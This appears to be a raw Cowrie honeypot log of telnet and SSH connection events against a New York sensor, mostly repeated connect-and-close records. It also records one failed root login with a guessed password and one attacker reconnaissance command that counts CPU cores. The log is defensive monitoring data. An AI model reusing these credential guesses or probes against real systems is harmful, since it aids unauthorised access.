{"eventid":"cowrie.session.closed","duration":30.473175048828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.228568Z","src_ip":"208.115.200.90","session":"2c84d7cc695a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42832,"dst_ip":"10.17.0.5","dst_port":23,"session":"613ee83cc59a","protocol":"telnet","message":"New connection: 208.115.200.90:42832 (10.17.0.5:23) [session: 613ee83cc59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.244623Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42854,"dst_ip":"10.17.0.5","dst_port":23,"session":"2665bc3b6ad9","protocol":"telnet","message":"New connection: 208.115.200.90:42854 (10.17.0.5:23) [session: 2665bc3b6ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.386757Z"}
{"eventid":"cowrie.session.closed","duration":31.06090784072876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.454688Z","src_ip":"208.115.200.90","session":"fcbb9423f2c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.347398042678833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.483802Z","src_ip":"208.115.200.90","session":"0c352fe18d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42858,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f6ad08be0e","protocol":"telnet","message":"New connection: 208.115.200.90:42858 (10.17.0.5:23) [session: 48f6ad08be0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.646961Z"}
{"eventid":"cowrie.session.closed","duration":31.884803533554077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:28.927980Z","src_ip":"208.115.219.122","session":"ec3d46dda5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61595368385315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.092384Z","src_ip":"208.115.200.90","session":"3fce35c31206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722989559173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.097881Z","src_ip":"208.115.200.90","session":"7fcb7d2bb365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42874,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be040ccf024","protocol":"telnet","message":"New connection: 208.115.200.90:42874 (10.17.0.5:23) [session: 4be040ccf024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.241753Z"}
{"eventid":"cowrie.session.closed","duration":30.490973711013794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.248657Z","src_ip":"208.115.200.90","session":"0a5f631bddcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f574609394","protocol":"telnet","message":"New connection: 208.115.200.90:42884 (10.17.0.5:23) [session: f5f574609394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.284619Z"}
{"eventid":"cowrie.session.closed","duration":31.271610975265503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.332617Z","src_ip":"208.115.200.90","session":"772f6faa1ae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109699487686157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.451160Z","src_ip":"208.115.200.90","session":"14604ce98740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42898,"dst_ip":"10.17.0.5","dst_port":23,"session":"cce123fb2846","protocol":"telnet","message":"New connection: 208.115.200.90:42898 (10.17.0.5:23) [session: cce123fb2846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.456047Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42918,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80b0b20135a","protocol":"telnet","message":"New connection: 208.115.200.90:42918 (10.17.0.5:23) [session: b80b0b20135a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.515479Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42926,"dst_ip":"10.17.0.5","dst_port":23,"session":"d75debe56264","protocol":"telnet","message":"New connection: 208.115.200.90:42926 (10.17.0.5:23) [session: d75debe56264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:29.647983Z"}
{"eventid":"cowrie.session.closed","duration":30.81171464920044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.087038Z","src_ip":"208.115.200.90","session":"fcd096a108d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99851942062378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.106636Z","src_ip":"208.115.200.90","session":"6f56feff5099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.639074087142944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.152483Z","src_ip":"208.115.200.90","session":"d44114e5a356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.193110942840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.172547Z","src_ip":"208.115.200.90","session":"4d9321bf9902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912235260009766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.248957Z","src_ip":"208.115.219.122","session":"43225c1217c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73851251602173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.260861Z","src_ip":"208.115.219.122","session":"033c211becad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.130.119.74","src_port":39418,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a568e6ce363","protocol":"telnet","message":"New connection: 103.130.119.74:39418 (159.203.135.109:23) [session: 8a568e6ce363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.363971Z"}
{"eventid":"cowrie.session.closed","duration":31.175719499588013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.369955Z","src_ip":"208.115.200.90","session":"b889b523489d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42956,"dst_ip":"10.17.0.5","dst_port":23,"session":"947ae0f085f3","protocol":"telnet","message":"New connection: 208.115.200.90:42956 (10.17.0.5:23) [session: 947ae0f085f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.407458Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42940,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5aaf26d157f","protocol":"telnet","message":"New connection: 208.115.200.90:42940 (10.17.0.5:23) [session: a5aaf26d157f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.411575Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42902,"dst_ip":"10.17.0.5","dst_port":23,"session":"44385bd95431","protocol":"telnet","message":"New connection: 208.115.200.90:42902 (10.17.0.5:23) [session: 44385bd95431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.509434Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42960,"dst_ip":"10.17.0.5","dst_port":23,"session":"93c577e512f4","protocol":"telnet","message":"New connection: 208.115.200.90:42960 (10.17.0.5:23) [session: 93c577e512f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:30.635309Z"}
{"eventid":"cowrie.session.closed","duration":30.770262479782104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.215309Z","src_ip":"208.115.200.90","session":"3cad1c7e169b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746379852294922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.240789Z","src_ip":"208.115.200.90","session":"a3ab9e8f4a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53942847251892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.284315Z","src_ip":"208.115.219.122","session":"dc42dbd00a75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53092,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f482b327a0","protocol":"telnet","message":"New connection: 208.115.219.122:53092 (10.17.0.5:23) [session: d8f482b327a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.288561Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42962,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f8bb4800a3","protocol":"telnet","message":"New connection: 208.115.200.90:42962 (10.17.0.5:23) [session: 34f8bb4800a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.331232Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":60448,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fabb5fb7f6b","protocol":"ssh","message":"New connection: 191.255.52.36:60448 (159.203.135.109:22) [session: 1fabb5fb7f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.424417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.428849Z","src_ip":"191.255.52.36","session":"1fabb5fb7f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:31.564666Z","src_ip":"191.255.52.36","session":"1fabb5fb7f6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.717567682266235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.132423Z","src_ip":"208.115.200.90","session":"1d8ea424eb9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43126,"dst_ip":"10.17.0.5","dst_port":23,"session":"e504b178009d","protocol":"telnet","message":"New connection: 208.115.200.90:43126 (10.17.0.5:23) [session: e504b178009d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.141193Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.220656Z","src_ip":"191.255.52.36","session":"1fabb5fb7f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53128,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2ab03782dc7","protocol":"telnet","message":"New connection: 208.115.219.122:53128 (10.17.0.5:23) [session: c2ab03782dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.238263Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43142,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfdadaa6e9fe","protocol":"telnet","message":"New connection: 208.115.200.90:43142 (10.17.0.5:23) [session: cfdadaa6e9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.284783Z"}
{"eventid":"cowrie.session.closed","duration":31.303557634353638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.326394Z","src_ip":"208.115.200.90","session":"5d7eadf50882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43172,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4f4f185f58","protocol":"telnet","message":"New connection: 208.115.200.90:43172 (10.17.0.5:23) [session: 0e4f4f185f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.331310Z"}
{"eventid":"cowrie.session.closed","duration":30.82481336593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.340013Z","src_ip":"208.115.200.90","session":"65a4a8e849a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2457754611969,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.456249Z","src_ip":"208.115.200.90","session":"8805c49068ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53138,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff72a24101a8","protocol":"telnet","message":"New connection: 208.115.219.122:53138 (10.17.0.5:23) [session: ff72a24101a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.516584Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43318,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d59963aae63","protocol":"telnet","message":"New connection: 208.115.200.90:43318 (10.17.0.5:23) [session: 1d59963aae63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.526574Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ef40b6826c","protocol":"telnet","message":"New connection: 208.115.200.90:43336 (10.17.0.5:23) [session: b7ef40b6826c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.573306Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43352,"dst_ip":"10.17.0.5","dst_port":23,"session":"c873e3cd18ff","protocol":"telnet","message":"New connection: 208.115.200.90:43352 (10.17.0.5:23) [session: c873e3cd18ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.578989Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43388,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fbe406906ad","protocol":"telnet","message":"New connection: 208.115.200.90:43388 (10.17.0.5:23) [session: 8fbe406906ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.632974Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43410,"dst_ip":"10.17.0.5","dst_port":23,"session":"b44143fccce7","protocol":"telnet","message":"New connection: 208.115.200.90:43410 (10.17.0.5:23) [session: b44143fccce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.684034Z"}
{"eventid":"cowrie.session.closed","duration":31.585490465164185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.691038Z","src_ip":"208.115.200.90","session":"01f605ac7dac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513511419296265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.795908Z","src_ip":"208.115.200.90","session":"7ebbf5072030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43456,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0d583f9831","protocol":"telnet","message":"New connection: 208.115.200.90:43456 (10.17.0.5:23) [session: 7b0d583f9831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.876541Z"}
{"eventid":"cowrie.session.closed","duration":31.672657251358032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:32.989985Z","src_ip":"208.115.200.90","session":"8db1316ed911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.399904012680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.023428Z","src_ip":"208.115.200.90","session":"4d0a84017466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596442699432373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.035383Z","src_ip":"208.115.219.122","session":"16fe6d424890","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53144,"dst_ip":"10.17.0.5","dst_port":23,"session":"5898377f66b0","protocol":"telnet","message":"New connection: 208.115.219.122:53144 (10.17.0.5:23) [session: 5898377f66b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.147416Z"}
{"eventid":"cowrie.session.closed","duration":31.005494832992554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.218262Z","src_ip":"208.115.200.90","session":"dfe076f9f17e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004718780517578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.323024Z","src_ip":"208.115.200.90","session":"22f26ce47075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209580898284912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.355138Z","src_ip":"208.115.200.90","session":"3d4cd42baa03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"7418d69c8cda","protocol":"telnet","message":"New connection: 208.115.200.90:43486 (10.17.0.5:23) [session: 7418d69c8cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.366814Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53154,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfedf8819f14","protocol":"telnet","message":"New connection: 208.115.219.122:53154 (10.17.0.5:23) [session: bfedf8819f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.392794Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.415000Z","src_ip":"191.255.52.36","session":"1fabb5fb7f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43516,"dst_ip":"10.17.0.5","dst_port":23,"session":"9505c582ef34","protocol":"telnet","message":"New connection: 208.115.200.90:43516 (10.17.0.5:23) [session: 9505c582ef34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.466493Z"}
{"eventid":"cowrie.session.closed","duration":31.076292276382446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.510497Z","src_ip":"208.115.200.90","session":"167e9cc89f16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"680a81e8b21a","protocol":"telnet","message":"New connection: 208.115.200.90:43548 (10.17.0.5:23) [session: 680a81e8b21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.606877Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.678632Z","src_ip":"191.255.52.36","session":"95265c072e48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.683365Z","src_ip":"191.255.52.36","session":"95265c072e48","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.830220Z","src_ip":"191.255.52.36","session":"95265c072e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.834413Z","src_ip":"191.255.52.36","session":"95265c072e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43576,"dst_ip":"10.17.0.5","dst_port":23,"session":"cadf64852c11","protocol":"telnet","message":"New connection: 208.115.200.90:43576 (10.17.0.5:23) [session: cadf64852c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:33.877717Z"}
{"eventid":"cowrie.session.closed","duration":30.98269248008728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:34.036065Z","src_ip":"208.115.200.90","session":"2993308b608f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":53162,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5694fa96557","protocol":"telnet","message":"New connection: 208.115.219.122:53162 (10.17.0.5:23) [session: d5694fa96557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:34.263245Z"}
{"eventid":"cowrie.session.closed","duration":31.038583040237427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:34.290672Z","src_ip":"208.115.200.90","session":"5a9d1a2c8a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49340,"dst_ip":"10.17.0.5","dst_port":23,"session":"056c40417cbf","protocol":"telnet","message":"New connection: 208.115.200.90:49340 (10.17.0.5:23) [session: 056c40417cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:34.409411Z"}
